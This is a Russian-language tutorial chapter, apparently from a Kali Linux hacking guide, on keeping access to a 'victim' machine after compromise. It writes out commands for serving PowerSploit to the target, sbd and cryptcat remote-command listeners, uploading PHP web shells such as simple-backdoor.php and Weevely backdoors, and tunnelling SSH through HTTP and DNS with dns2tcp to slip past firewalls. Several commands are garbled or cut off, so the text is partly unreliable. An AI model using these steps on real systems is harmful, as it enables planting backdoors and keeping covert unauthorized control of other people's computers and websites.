В этой главе мы увидим инструменты, которые Kali использует для поддержания соединения и доступа к взломанной машине, даже когда она подключается и снова отключается.
Это инструмент для компьютеров под управлением Windows. На машине жертвы установлен PowerShell. Этот инструмент помогает хакеру подключиться к компьютеру жертвы через PowerShell.
Чтобы открыть его, откройте терминал слева и введите следующую команду, чтобы войти в папку powerploit:
cd /usr/share/powersploit/
Если вы наберете «ls», вы увидите список всех инструментов powerploit, которые вы можете загрузить и установить на компьютер жертвы после получения доступа. Название большинства из них самоочевидно в соответствии с их именами.
Самый простой способ загрузить этот инструмент на компьютер жертвы — создать веб-сервер, который инструменты Powerploit позволяют легко создать с помощью следующей команды:
python -m SimpleHTTPServer
После этого, если вы наберете: http://
sbd — это инструмент, похожий на Netcat. Он портативен и может использоваться на компьютерах Linux и Microsoft. sbd поддерживает шифрование AES-CBC-128 + HMAC-SHA1> По сути, он помогает в любое время подключиться к машине жертвы через определенный порт и удаленно отправлять команды.
Чтобы открыть его, перейдите к терминалу и введите “sbd -l -p port”, чтобы сервер мог принимать соединения.
В этом случае давайте разместим порт 44, который будет прослушивать сервер.
На сайте жертвы введите «sbd IPofserver port». Будет установлено соединение, по которому мы сможем отправлять удаленные команды.
В данном случае это «localhost», поскольку мы проводили тест на одной и той же машине.
Наконец, на сервере вы увидите, что произошло соединение, как показано на следующем снимке экрана.
Веб-шеллы можно использовать для сохранения доступа или взлома веб-сайта. Но большинство из них обнаруживаются антивирусами. PHP-оболочка C99 очень известна среди антивирусов. Любой обычный антивирус легко обнаружит его как вредоносное ПО.
Как правило, их основная функция — отправка системных команд через веб-интерфейсы.
Чтобы открыть его, введите «cd /usr/share/webshells/» в терминале.
Как видите, они разделены на классы в зависимости от языка программирования: asp, aspx, cfm, jsp, perl,php.
Если вы войдете в папку PHP, вы увидите все веб-оболочки для веб-страниц PHP.
Чтобы загрузить оболочку на веб-сервер, например simple-backdoor.php, откройте веб-страницу и URL-адрес веб-оболочки.
В конце напишите команду cmd. У вас будет вся информация, показанная на следующем снимке экрана.
Weevely — это веб-оболочка PHP, имитирующая соединение типа telnet. Это инструмент для последующей эксплуатации веб-приложений, который можно использовать в качестве скрытого бэкдора или веб-оболочки для управления законными веб-аккаунтами, даже бесплатно размещенными.
Чтобы открыть его, перейдите к терминалу и введите «weevely», где вы увидите его использование.
Чтобы сгенерировать оболочку, введите "weevelygeneratepasswordpathoffile". Как видно на следующем снимке экрана, он создается в папке «Рабочий стол», и файл необходимо загрузить на веб-сервер для получения доступа.
После загрузки веб-оболочки, как показано на следующем снимке экрана, мы можем подключиться с помощью cmd к серверу с помощью команды "weevely URL-пароль", где вы увидите, что сеанс начался.
http-tunnel создает двунаправленный виртуальный поток данных, туннелируемый в HTTP-запросах. При желании запросы могут быть отправлены через HTTP-прокси. Это может быть полезно для пользователей, находящихся за ограничительными брандмауэрами. Если доступ к WWW разрешен через HTTP-прокси, можно использовать http-туннель и telnet или PPP для подключения к компьютеру за пределами брандмауэра.
Сначала нам нужно создать туннельный сервер с помощью следующей команды:
httptunnel_server -h
Затем на клиентском сайте введите «httptunnel_client -h», и оба начнут принимать соединения.
Это снова инструмент туннелирования, который помогает передавать TCP-трафик через DNS-трафик, что означает порт UDP 53.
Чтобы запустить его, введите “dns2tcpd”. Использование объясняется, когда вы открываете скрипт.
На сайте сервера введите эту команду, чтобы настроить файл.
#cat >>.dns2tcpdrc
<&l;END listen = 0.0.0.0
port = 53 user=nobody
chroot = /root/dns2tcp
pid_file = /var/run/dns2tcp.pid
domain = your domain key = secretkey
resources = ssh:127.0.0.1:22
END
#dns2tcpd -f .dns2tcpdrc
На сайте клиента введите эту команду.
# cat >>.dns2tcprc
<<END domain = your domain
resource = ssh
local_port = 7891
key = secretkey
END
# dns2tcpc -f .dns2tcprc
# ssh root@localhost -p 7891 -D 7076
Туннелирование начнется с этой команды.
Это еще один инструмент, подобный Netcat, который позволяет устанавливать TCP и UDP-соединения с компьютером жертвы в зашифрованном виде.
Чтобы запустить сервер для прослушивания соединения, введите следующую команду:
cryptcat -l -p port -n
Где,
-l означает прослушивание соединения.
-p означает параметр номера порта.
-n означает отсутствие разрешения имени.
На клиентском сайте команда подключения: “cryptcat IPofServer PortofServer”